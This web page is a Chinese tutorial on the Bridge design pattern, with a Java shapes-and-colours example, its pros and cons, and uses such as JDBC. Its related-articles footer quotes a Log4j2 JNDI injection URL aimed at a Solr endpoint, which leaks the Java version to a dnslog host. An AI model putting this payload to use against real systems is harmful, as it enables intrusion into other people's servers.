设计模式-桥接模式

桥接模式是一种结构型设计模式,旨在将抽象部分与其实现部分分离,使它们可以独立变化。它通过组合代替继承的方式,解决多维度变化导致的类爆炸问题,同时提高系统的灵活性和可扩展性。

核心思想

桥接模式的核心是将抽象(功能)和实现(平台/具体行为)解耦,使其可以独立扩展。例如:

  • 抽象部分:如“图形”的抽象(圆形、矩形)。
  • 实现部分:如“颜色”的实现(红色、蓝色)。
  • 桥接:通过将“颜色”的实现注入“图形”的抽象中,避免为每种图形和颜色的组合创建子类(如RedCircle、BlueRectangle)。

桥接模式的结构

桥接模式包含以下角色:

  • 抽象类(Abstraction)
    定义抽象功能的接口,并持有实现部分的引用。例如:Shape抽象类,包含draw()方法。

  • 扩展抽象类(Refined Abstraction)
    对抽象类的扩展,实现具体的功能。例如:Circle和Rectangle类,继承自Shape。

  • 实现接口(Implementor)
    定义实现部分的接口,供抽象类调用。例如:Color接口,定义颜色填充方法。

  • 具体实现类(Concrete Implementor)
    实现实现接口的具体逻辑。例如:Red和Blue类,实现Color接口。

桥接模式实现示例

假设需要绘制不同形状(圆形、矩形)和不同颜色(红色、蓝色)的图形,使用桥接模式避免创建 RedCircle、BlueCircle 等子类。
(1)实现接口(Implementor):颜色

// 颜色接口(实现部分)
public interface Color {void applyColor();
}// 具体颜色实现
public class Red implements Color {@Overridepublic void applyColor() {System.out.print("红色");}
}public class Blue implements Color {@Overridepublic void applyColor() {System.out.print("蓝色");}
}

(2)抽象类(Abstraction):图形

// 图形抽象类(抽象部分)
public abstract class Shape {protected Color color; // 持有颜色的引用(桥接的关键)public Shape(Color color) {this.color = color;}public abstract void draw();
}// 具体图形实现
public class Circle extends Shape {public Circle(Color color) {super(color);}@Overridepublic void draw() {System.out.print("圆形:");color.applyColor(); // 委托给颜色实现System.out.println();}
}public class Rectangle extends Shape {public Rectangle(Color color) {super(color);}@Overridepublic void draw() {System.out.print("矩形:");color.applyColor();System.out.println();}
}

(3)客户端代码

public class Client {public static void main(String[] args) {// 创建颜色实现Color red = new Red();Color blue = new Blue();// 创建图形,并桥接颜色Shape redCircle = new Circle(red);Shape blueRectangle = new Rectangle(blue);// 绘制图形redCircle.draw();    // 输出:圆形:红色blueRectangle.draw(); // 输出:矩形:蓝色}
}

桥接模式的优点

  • 解耦抽象与实现
    抽象和实现可以独立扩展,互不影响。例如,新增颜色或形状无需修改对方。

  • 避免类爆炸
    无需为每个组合(如 RedCircle、BlueRectangle)创建子类。

  • 提高灵活性
    可以在运行时动态切换实现(例如切换颜色)。

  • 符合开闭原则
    新增功能只需扩展抽象或实现类,无需修改现有代码。

桥接模式的缺点

  • 增加系统复杂性
    需要正确识别抽象和实现的边界,设计不当可能导致结构冗余。
  • 理解成本较高
    对初学者来说,桥接模式的设计思想可能较难掌握。

桥接模式的实际应用

  • JDBC驱动程序
    抽象:JDBC接口(如Connection、Statement)。
    实现:不同数据库的驱动(如MySQL、Oracle)。
    桥接:通过DriverManager将抽象接口与具体驱动桥接。

  • 图形界面框架
    抽象:窗口、按钮等控件的逻辑。
    实现:不同操作系统的绘制API(如Windows API、macOS API)。
    桥接:控件通过桥接调用具体系统的API实现渲染。

  • 日志框架
    抽象:日志记录接口(如Logger)。
    实现:日志输出的具体方式(文件、控制台、网络)。
    桥接:通过桥接模式动态切换日志输出目标。

应用场景:

  1. 多维度变化的系统
    例如:图形和颜色、操作系统(Windows、Linux)和文件格式(PNG、JPEG)等

  2. 避免多层继承结构
    当继承导致类数量指数级增长时,使用桥接模式替代。

  3. 运行时切换实现
    需要动态切换不同实现(如切换数据库驱动)。

桥接模式与其他模式的区别

模式核心思想应用场景
桥接模式分离抽象和实现,通过组合代替继承多维度变化的系统,避免类爆炸
适配器模式转换接口以实现兼容整合不兼容的接口
策略模式封装算法,使其可互换动态选择算法(如排序策略)
抽象工厂模式创建相关对象的家族需要统一风格的组件(如UI控件)

总结

通过桥接模式,可以优雅地处理多维度变化,避免类层次结构的过度膨胀。它是设计复杂系统时的重要工具,尤其适合需要长期维护和扩展的代码。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/35518.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

AP AR

混淆矩阵 真实值正例真实值负例预测值正例TPFP预测值负例FNTN (根据阈值预测) P精确度计算:TP/(TPFP) R召回率计算:TP/(TPFN) AP 综合考虑P R 根据不同的阈值计算出不同的PR组合, 画出PR曲线,计算曲线…

学习单片机需要多长时间才能进行简单的项目开发?

之前有老铁问我,学单片机到底要多久,才能进行简单的项目开发?是三个月速成,还是三年磨一剑? 今天咱们就来聊聊这个话题,我不是什么高高在上的专家,就是个踩过无数坑、烧过几块板子的“技术老友”…

数学建模:MATLAB循环神经网络

一、简述 1.循环神经网络 循环神经网络(RNN)是一种用于处理序列数据的神经网络。不同于传统的前馈神经网络,RNN在隐藏层中加入了自反馈连接,使得网络能够对序列中的每个元素执行相同的操作,同时保持一个“记忆”状态…

《GitHub网路访问不稳定:解决办法》:此文为AI自动生成

《GitHub网路访问不稳定:解决办法》:此文为AI自动生成 GitHub 网路访问不稳定初现 在当今数字化时代,软件开发行业蓬勃发展,GitHub 作为全球最大的代码托管平台,已然成为无数开发者不可或缺的 “宝库”。它不仅汇聚了海…

SpringCloud 学习笔记2(Nacos)

Nacos Nacos 下载 Nacos Server 下载 | Nacos 官网 下载、解压、打开文件: 更改 Nacos 的启动方式 Nacos 的启动模式默认是集群模式。在学习时需要把他改为单机模式。 把 cluster 改为 standalone,记得保存! 启动startup.cmd Ubuntu 启动…

在windows10系统上安装docker,然后在容器中运行GPU版本的Pytorch,并使用vscode连接该容器

一 . 安装Docker Desktop 首先打开网址https://docs.docker.com/desktop/install/windows-install/ 下载完后,双击下面的exe文件进行安装,默认情况下,Docker Desktop 安装在C:\Program Files\Docker\Docker 出现提示时,请确保…

AI入门7:python三种API方式调用本地Ollama+DeepSeek

回顾 书接上篇:各种方式搭建了本地知识库: AI入门:AI模型管家婆ollama的安装和使用-CSDN博客 AI入门2:本地AI部署,用ollama部署deepseek(私有化部署)-CSDN博客 AI入门3:给本地d…

Unity导出WebGL

在Build Settings页面中平台(Platform)切换到WebGL平台 如何没有安装WebGL扩展插件,点击下载(Open Download Page) 下载扩展安装文件WebGL-Support-for-Editor-2023.1.0f1c1.exe 下载地址: http://downlo…

深入理解静态与动态代理设计模式:从理论到实践

静态代理设计模式 1.为什么需要代理设计模式? javaEE分层开发中,哪个层次对于我们来讲最重要 DAO---->Service---->Controller JavaEE分层中,最为重要的是Service层 Service层包含了那些代码 Service层核心功能(几十行 上百代码) 额外…

4.JVM-垃圾回收介绍

记录个人学习中记录笔记,如有错误请您指正,谢谢🙏 垃圾回收器发展史 传统垃圾回收: 分代回收 不同代有不同的垃圾回收机制 保底 标记清除算法 垃圾识别算法 引用计数法 缺陷:下图2 出现循环引用 无法解决 可达性分析 大部分(Java,pytho…

解决qt中自定插件加载失败,不显示问题。

这个问题断断续续搞了一天多,主要是版本不匹配问题。 我们先来看下 Based on Qt 6.6.0 → 说明 Qt Creator 本身 是基于 Qt 6.6.0 框架构建的。MSVC 2019, 64-bit → 说明 Qt Creator 是使用 Microsoft Visual C 2019 编译器(64 位) 编译的。…

MySQL的行级锁锁的到底是什么?

大家好,我是锋哥。今天分享关于【Mysql自增主键会遇到什么问题?】面试题。希望对大家有帮助; MySQL的行级锁锁的到底是什么? 1000道 互联网大厂Java工程师 精选面试题-Java资源分享网 MySQL的行级锁(Row-level Locking)是一种…

gitlab将本地项目提交到远程dev分支

获取Git路径 首先从远程获取到git路径,将给的git地址进行克隆到本地文件; git clone http:************.git 按照git地址的文件路径将本地项目,拷贝到目标文件中 在该路径中,初始化命令; # 初始化项目 git init #…

深度学习-服务器训练SparseDrive过程记录

1、cuda安装 1.1 卸载安装失败的cuda 参考:https://blog.csdn.net/weixin_40826634/article/details/127493809 注意:因为/usr/local/cuda-xx.x/bin/下没有卸载脚本,很可能是apt安装的,所以通过执行下面的命令删除: a…

log4j2漏洞:反弹shell

在dns.log生成一个网址 将得到的网址上传上去 http://39.105.61.160:8983/solr/admin/cores?action${jndi:ldap://${sys:java.version}.6tioul.dnslog.cn} 得到回显,表示操作已执行,证明漏洞存在 在云服务器上构建恶意的类 将要执行的恶意操作的代码进…

数据结构——查找

查找 1. 查找的基本概念 查找(Searching):就是根据给定的某个值,在查找表中确定一个其关键字等于给定值的数据元素( 或记录)。查找结果分为两种,一种是查找成果,一种是查找失败。 查找表(Search Table):是由同一类型…

【css酷炫效果】纯CSS实现进度条加载动画

【css酷炫效果】纯CSS实现进度条加载动画 缘创作背景html结构css样式完整代码基础版进阶版 效果图 通过CSS渐变与背景位移动画,无需JavaScript即可创建流体动态进度条。 想直接拿走的老板,链接放在这里:https://download.csdn.net/download/u…

【SpringBatch】01简单入门

目录标题 一、学习目标学习目标前置知识 二、Spring Batch简介2.1 何为批处理?2.2 Spring Batch了解2.3 Spring Batch 优势2.4 Spring Batch 架构 三、入门案例3.1 批量处理流程3.2 入门案例-H2版(内存)3.3 入门案例-MySQL版 四、入门案例解析 一、学习目标 学习目…

Git 实战指南:本地客户端连接 Gitee 全流程

本文将以 Gitee(码云)、系统Windows 11 为例,详细介绍从本地仓库初始化到远程协作的全流程操作 目录 1. 前期准备1.1 注册与配置 Gitee1.2 下载、安装、配置客户端1.3 配置公钥到 Gitee2. 本地仓库操作(PowerShell/Git Bash)2.1 初始化本地仓库2.2 关联 Gitee 远程仓库3. …

stable Diffusion 中的 VAE是什么

在Stable Diffusion中,VAE(Variational Autoencoder,变分自编码器)是一个关键组件,用于生成高质量的图像。它通过将输入图像编码到潜在空间(latent space),并在该空间中进行操作&…